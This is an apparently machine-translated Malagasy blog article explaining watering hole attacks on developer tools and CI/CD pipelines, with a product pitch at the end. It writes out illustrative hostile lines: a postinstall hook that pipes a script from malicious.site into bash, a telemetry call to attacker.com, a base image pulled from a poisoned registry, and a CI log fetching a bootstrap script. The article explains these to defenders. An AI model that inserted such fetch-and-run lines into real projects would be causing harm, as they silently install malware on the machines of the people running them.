Ny Fanorenana Izay Nanangana ny Varavarana Ambany
Mandalo ny fananganana. Mipetraka ny serivisy. Toa madio daholo ny zava-drehetra. Saingy miafina ao anatiny ny fiankinan-doha voapoizina nalaina avy amin'ny loharano voajirika. Fanafihana mahazatra izany.
Amin'ity tranga ity, tsy niditra an-keriny tao amin'ny fotodrafitrasanao ny mpanafika. Niandry ny mpamorona rindrambaiko hitsidika loharano azo itokisana, tranokalan'ny antontan-taratasy, repo fonosana, na pejy fampidinana SDK, izay efa nosimbainy izy ireo. Niditra tao amin'ny kaody ratsy anao ny kaody. pipeline amin'ny alalan'ny baiko "pull" na "install" tsotra fotsiny.
Raha vao alefa ilay izy dia manana toerana mangina amin'ny famokarana ilay mpanafika. Ary ny anao CI/CD pipeline nanampy azy ireo ho tonga any fotsiny.
Inona no atao hoe Watering Hole Attack (Ary Nahoana ny Devs no Tokony Hiahy)
Koa inona àry no atao hoe fanafihana "watering hole attack"? Izany dia rehefa manimba loharano efa atokisan'ny mpamorona rindrambaiko na ekipa ny mpanafika. Tsy mikendry anao mivantana izy ireo, fa manimba tranonkala na repo mahazatra izay mety hampiasainao, ary miandry olona iray ho voafitaka.
Tsy mitovy amin'ny phishing ny fanafihana "watering hole" (fanafihana "watering hole"), izay mazàna mikendry ny "credits", ary amin'ny fanafihana "upstream supply chain" izay mampiditra kaody ratsy ao amin'ny repo lehibe ao amin'ny fonosana. Eto, ny fandrahonana dia avy amin'ny tontolo iainana manodidina anao: antontan-taratasy izay manampy "backdoors", SDK binaries nosoloina trojans, na rejisitry ny fonosana izay manolotra dikan-teny novaina.
Ary ireo loharanon-karena fampandrosoana no lasibatra voalohany: ireo mpitantana fonosana (npm, pip, Maven), ireo repo GitHub ho an'ny daholobe, ireo sary Docker toa ofisialy, ary ireo pejy fampidinana. Raha misy amin'ireo no simba, dia efa ao anatin'ny fizotran'ny fampandrosoanao ilay mpanafika.
Aiza no ametrahana ny fandrika: Ohatra tena izy mifantoka amin'ny fampandrosoana Fanafihana Lavaka fanondrahana
Misy endrika maro ny fanafihana "watering hole". Ireto misy fomba vitsivitsy tsy ahafahan'izy ireo mandalo ireo mpamorona rindrambaiko:
- Tranonkala misy antontan-taratasy voajirika:
ampidiro { init } avy amin'ny 'malicious-lib';
init({ telemetria: 'https://attacker.com' });
Ohatra ara-dalàna novaina an-kolaka tao amin'ny antontan-taratasy. Mandika, mametaka ary manohy ny asany ny mpamorona.
- Script ratsy aorian'ny fametrahana ao amin'ny PR ho an'ny daholobe:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
Toa PR mahasoa, nefa mametraka malware mangina.
- SDK binary voatrona:
./sdk-install.sh # Mirakitra "loader" dingana faharoa miafina
Nalaina avy amin'ny URL azo itokisana ny rakitra binary saingy novaina. - Sary fototra Docker nohavaozina:
AVY AMIN'NY node:slim-malicious - RUN bash /tmp/hidden-installer.sh
Toa marina ny anaran'ny sary, saingy ao anaty rejisitra voajirika na nosoloina izy io.
Ireo fanafihana "watering hole" rehetra ireo dia miankina amin'ny fahatokisan'ny mpamorona sy ny fizotran'asa haingana mba tsy ho tratra.
Avy amin'ny solosaina finday mankany amin'ny PipelineAhoana ny fiparitahan'ny aretina
Tsy mijanona eo amin'ny navigateur fotsiny ny fanafihana "watering hole". Raha vao miditra ao amin'ny tontolo iainana eo an-toerana ny kaody maloto, afaka mandeha mangina manerana ny rojo fanaterana manontolo izy io:
- Mitsidika loharano voajirika (docs, repo, tranokala SDK) ny mpamorona rindrambaiko.
- Miditra ao amin'ny tontolo iainana mpamorona eo an-toerana ny kaody maloto.
- Ampiana amin'ny rakitra na rakitra miankina amin'ny aretina ny rakitra na ny "dependencies" voa commit ary nanosika.
- CI/CD Ny asa dia mampandeha ny dingana fananganana sy fametrahana amin'ny fampiasana ireo singa voajirika ireo.
- Alefa sy ampiasaina ilay artifact, ka ampidirina ao anatin'ny famokarana ny kaodin'ny mpanafika.
Mety hivelatra ao anatin'ny ora maro ity rojo ity, indrindra ho an'ny ekipa haingam-pandeha.
Mba haka sary an-tsaina izany, alaivo sary an-tsaina hoe pipeline kisarisary izay manara-maso ny lalan'ny aretina manomboka amin'ny:
- Toeram-piasana Dev: Tonian-dahatsoratra, terminal, script fametrahana.
- Fanaraha-maso loharano: Commits, PRs, fampiraisana.
- CI Pipeline: Fametrahana fiankinan-doha, fanatanterahana script, fananganana sary.
- Production: Famoahana, fametrahana ary fidiran'ny mpampiasa amin'ny artifact.
Amin'ny dingana tsirairay, dia mety tsy ho voamarika ny fanafihana amin'ny lavaka famorian-drano raha tsy misy ny fiarovana sahaza.
Toe-javatra tena misy momba ny risika ao amin'ny CI/CD
Tsy mijanona amin'ny milina mpamorona fotsiny ny fanafihana "watering hole". Mampiasa ny anao izy ireo pipeline manohitra anao. Ireto avy ireo loza tena izy:
- Sary fototra voajirika:
FROM attacker-registry.io/python:3.10-slim
Nampiana malware miafina nandritra ny fanamboarana. - Maka script na fitaovana tsy misy pin:
curl -s https://pkg.example.com/latest.sh | bash
Mety hiova amin'ny fotoana rehetra ny "Fotoana farany", indrindra raha misy maka an-keriny ny DNS. - Tatitra CI voan'ny aretina (ohatra):
[+] Fametrahana fitaovana…
[+] Maka avy amin'ny https://tools.fakecdn.net/bootstrap.sh
[+] Vita ny fanamboarana.
Toa tsara daholo ny zava-drehetra raha jerena ivelany. Saingy efa ao anatin'ilay zavatra efa nampiasaina ny entana.
Fanafihana lavaka fandroahana manararaotra ny habetsaky ny fitokisana CI/CD apetraka amin'ny loharano sy script ivelany ny tontolo iainana.
Fanapahana ny Fanafihana Lavaka Fandroana Rojo: Fiarovana avy amin'ny mpamorona
Mba hampijanonana ny fanafihana "watering hole" aloha dia mila manamafy ny fomba fanaonao amin'ny fampandrosoana ianao. Tsy maintsy atomboka ny fisorohana ny fanafihana alohan'ny hidiran'ny kaody ao amin'ny kaontinao. CI/CD pipeline:
- Fiankinan-doha amin'ny pinFadio ny fampiasana marika mitsingevana toy ny faranyAmpiasao ny lockfiles mba hahazoana antoka fa voafaritra tsara ny fananganana.
- Hamarino ny fanamarinana: Hamarino ireo script lavitra, binary, ary fonosana rehetra.
- Mampiasà fitaratra manokana: Manahaka ny rejisitry ny fonosana manan-danja mba hisorohana ny fifandraisana amin'ireo loharano ambony voajirika.
- Hamarino ny sary fototra: Ampiasao ny famintinana sary (@sha256) fa tsy asiana marika. Skanera ny sary rehetra alohan'ny hampiasana azy.
- Run SCA/SAST mialoha ny fampiraisanaAtaovy mandeha ho azy ny fitiliana ao amin'ny fomba fiasan'ny PR-nao mba hahitana mialoha ireo fandrahonana.
- Ampiasao ny Git hooks: Fantaro ary sakano ireo fanovana mety hampidi-doza alohan'ny hahatratrarany ny fanaraha-maso ny dikan-teny.
- hitondra kaody avy amin'ny antoko fahatelo toy ny fidirana tsy azo itokisanaNa dia ireo tranomboky ampiasaina betsaka aza dia mety hitondra risika miafina.
Tsy maintsy ampidirina ao anatin'ny fizotran'ny asa ataon'ny mpamorona ny fiarovana. Ireo fahazarana sy fanaraha-maso ireo dia manampy amin'ny fanakanana ny fanafihana "watering hole" alohan'ny hiharatsy kokoa.
Lesona avy amin'ny saha
Tranga 1: Hetsika-Renirano (npm)
Mpikarakara azo itokisana no namindra ny fifehezana ny fonosana malaza iray. Nanampy fiankinan-doha izay nangalatra mangingina ny angon-drakitra momba ny poketra crypto ilay mpikarakara vaovao.
- Taiza no tsy nahombiazany: Tsy misy famerenana ny fiankinan-doha amin'ny alalan'ny fifindrana.
- lesona: Ampiasao mandeha ho azy SCA hanaraha-maso sy hanamarika ny fiovana eo amin'ny fiankinan-doha ankolaka.
Tranga 2: Mpampiakatra Codecov Bash
Nisy mpanafika nanova ny script bash ampiasaina amin'ny CI maro pipelines. Namoaka tsiambaratelo avy amin'ny tontolo CI izy io.
- Taiza no tsy nahombiazanyTsy misy fanamarinana checksum.
- lesonaHamarino tsara foana ireo fitaovana efa alaina alohan'ny hampiasana azy ireo CI/CD.
Samy fanafihana avy any amin'ny lavaka famorian-drano izy roa. Samy azo nosakanana teo aloha kokoa.
Fisorohana amin'ny fampiharana: Fomba fisainana sy fitaovana DevSecOps
Ny fisorohana ny fanafihana "watering hole attacks" dia midika fananganana kolontsaina mpamorona rindrambaiko izay mahafantatra ny fiarovana:
- Mifindra fiarovana miankavia: Ampiofano ireo mpamorona rindrambaiko hanontany momba ireo script tsy ampoizina, fiovana amin'ny fiankinan-doha, na dingana fametrahana.
- Automate SCA/SAST: Mampiasà fitaovana izay tafiditra ao anatin'ny fizotran'ny asa PR mba hisorohana ireo fahalemena fantatra sy ireo lamina mampidi-doza.
- Ampiasao ny fanamarinana hash na aiza na aizaTokony hohamarinina alohan'ny fampiharana izay loharano ivelany rehetra.
- Araho maso amin'ny fotoana tena izyTsy ampy ny fisorohana fotsiny.
Fitaovana toy ny Xygeni manolotra fahitana mivantana manerana ny rojo famatsiana rindrambaiko manontolo. Manara-maso tsy tapaka ny tontolo iainan'ny mpamorona rindrambaiko, ny asan'ny Git, ny CI ny Xygeni pipelines, ary ny rejisitry ny artifact mba hamantarana:
- Fiovana tsy mahazatra amin'ny fiankinan-doha.
- Fanovana mampiahiahy ao amin'ny script fananganana.
- Fomba fidirana tsy mahazatra amin'ny loharano avy amin'ny antoko fahatelo.
Miaraka amin'ny Xygeni, afaka manakana ny fandrahonana ateraky ny fanafihana "watering hole" ny ekipa alohan'ny hiparitahany, ary mamantatra ny loharanon'ny fanitsakitsahana raha misy olona tsy tafiditra. Namboarina manokana ho an'ny maoderina izy io. CI/CD tontolo iainana, mifantoka amin'ny fampandrenesana azo ampiharina sy ny fampiasana azy ho laharam-pahamehana ho an'ny mpamorona.
Fanamarihana farany: Haingana Pipelines, Loza Haingana Kokoa
Ankehitriny dia fantatrao inona no atao hoe fanafihana lavaka fandroahana Fantatrao fa tsy mila mandika mivantana ny fotodrafitrasanao izy ireo. Mahomby izy ireo amin'ny fanapoizinana ireo fitaovana sy tranonkala efa atokisan'ny mpamorona. Avy eo, ny CI/CD pipeline mety ho lasa rafitra fizarana an'ny mpanafika.
Ny tena risika dia tsy ny marimaritra iraisana fotsiny, fa ny hafaingan'ny fivezivezen'ny kaody ratsy ao anatinao pipeline.
Ampidiro ao anatin'ny fizotran'ny fampandrosoanao ny fanamarinana fiarovana, fa aza atao tsirambina. Satria rehefa alefa ilay izy dia efa tara loatra.
